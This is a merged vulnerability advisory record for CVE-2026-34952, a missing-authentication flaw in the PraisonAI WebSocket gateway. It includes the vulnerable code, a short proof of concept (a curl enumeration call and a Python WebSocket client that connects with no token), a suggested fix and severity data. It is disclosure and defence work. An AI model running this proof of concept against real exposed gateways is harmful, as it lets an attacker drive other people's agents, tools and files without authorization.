{"id":"CVE-2026-34952","aliases":["CVE-2026-34952","GHSA-cfh6-vr3j-qc3g","PYSEC-2026-474"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI: Missing Authentication in WebSocket Gateway","summary":"PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())\" &\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:\n        print('Connected with no auth')\n        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.97, el servidor PraisonAI Gateway acepta conexiones WebSocket en /ws y sirve la topología de agentes en /info sin autenticación. Cualquier cliente de red puede conectarse, enumerar agentes registrados y enviar mensajes arbitrarios a los agentes y sus conjuntos de herramientas. Este problema ha sido parcheado en la versión 4.5.97.","source":"nvd"}],"published":"2026-04-01T23:28:04.000Z","modified":"2026-11-16T16:15:07.618Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-306"],"affected":[{"ranges":[{"version":"< 4.5.97","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.97"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.97"}],"vendor":"praison","product":"praisonai","cpe":"cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.97"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34952","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-474.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/praisonai","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-cfh6-vr3j-qc3g","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-04-06T15:35:18.622Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34952","url":"https://www.cve.org/CVERecord?id=CVE-2026-34952","licence":"CVE Terms of Use","modified":"2026-04-06T15:41:53.342Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cfh6-vr3j-qc3g","url":"https://github.com/advisories/GHSA-cfh6-vr3j-qc3g","licence":"CC-BY-4.0","modified":"2026-11-16T16:15:07.618Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34952","licence":"Public domain","modified":"2026-07-24T22:10:00.140Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-474","url":"https://osv.dev/vulnerability/PYSEC-2026-474","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:32.546Z"}],"updatedAt":"2026-11-25T22:59:17.937Z","epss":{"score":0.00494,"percentile":0.44014,"date":"2026-12-01T12:00:22.000Z"}}